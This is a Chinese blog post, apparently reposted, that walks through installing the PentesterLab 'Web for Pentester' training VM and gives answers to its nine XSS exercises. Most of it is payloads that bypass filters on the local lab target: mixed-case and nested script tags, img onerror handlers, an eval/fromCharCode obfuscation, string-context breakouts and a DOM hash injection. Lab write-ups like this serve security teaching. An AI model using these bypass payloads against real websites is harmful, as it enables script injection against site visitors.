zoukankan      html  css  js  c++  java
  • 【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析

    web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

    下载链接及文档说明:

    http://pentesterlab.com/exercises/web_for_pentester/

    【安装流程】

    1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

    一路向下,创建虚拟系统。

    点击启动,选择iso镜像,即可启动。

    2. 设置网络。 关掉刚刚开启的系统。

    点击设置,选择网络选项。如图所示设置网络

    3.启动系统。输入ifconfig

    可以看到我们虚拟机的IP地址为http://192.168.56.101/  不同的系统可能不一样

    如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。

    所以在主机上打开网络和共享中心,设置IP

    根据我的虚拟机IP,我给本机设置的IP如下:

    4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/  ,即可通过HTTP访问虚拟机了!!

    【XSS部分解析】

    xss example1:

    完全没有过滤或者编码,各种姿势的玩~

    name=<script>alert('bb')</script>

    xss example2:

     

    从这里可以看到,过滤掉了<script>标签,我们试试大小写?

    name=<Script>alert('bb')</sCript>

    嗯,大小写绕过了

    xss example3:

    和上一张图一样,<script>标签被过滤掉了

    先试试 name=la<script>la,输出hello,lala

    name=<scri<script>pt>alert('bb')</scri</script>pt>

    经测试这个在实例2也是可以用的

    xss example4:

    先输入最基本的测试name=<script>alert('bb')</script>

    竟然输出error了!

    换个标签? name=<img>?这次没error。补全补全~

    name=<img src="1" onerror="alert('bb')">

    成功了~~经测试这个payload在前三个应该也是可以的

    xss example5:

    先输入name=<img>正常显示

    补全name=<img src="1" onerror="alert('bb')"> 输出error

    发现alert被过滤掉了- -但是其他的函数还可以用,

    比如说name=<img src="1" onerror="confirm('aa')">

    查了一下文档,发现可以这样写

    name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

    这个世界真神奇

    xss example6:

    查看元素,发现输出竟然在script标签中。

    $a="<img  src="1" onerror="alert('bb')">"

    输出在script标签中的情况要首先闭合双引号"

    name=fdf";alert($a);//

    xss example7:

    审查元素:

    <script>
    var $a= 'fdf&quot;;alert($a);//';
    </script>

    发现双引号被HTMLEncode了

    - -还发现$a=''这个地方变成了单引号。。。稍微改一下

    name=fdf';alert($a);//

    成了

    xss example8:

    呦,终于长进了,变成存储型的了~

    随便输出个名字<script>alert('a')</script>

    审查元素

    HELLO &lt;script&gt;alert('a')&lt;/script&gt;

    <>被HTMLEncode了。

    对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

    经过答案的提醒- -我们发现form表的目标URL是可以被构造的

    http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')

    在提交的时候,会触发弹窗

    xss example9:

    - -最后一个你是在逗我么

    审查元素

    <script>
    document.write(location.hash.substring(1));
    </script>

    随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>

    注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf

  • 相关阅读:
    d3.js--04(enter和exit)
    d3.js--03(增删改查)
    d3.js--02(data和datum原理)
    css文件和js文件后面带一个问号----2015-1103
    json_decode()和json_encode()区别----2015-0929
    随记--更新于20150925
    个人火狐插件汇总--20150924
    『jQuery』.html(),.text()和.val()的概述及使用--2015-08-11
    矩阵求导
    傅里叶变换
  • 原文地址:https://www.cnblogs.com/kuoaidebb/p/4002348.html
Copyright © 2011-2022 走看看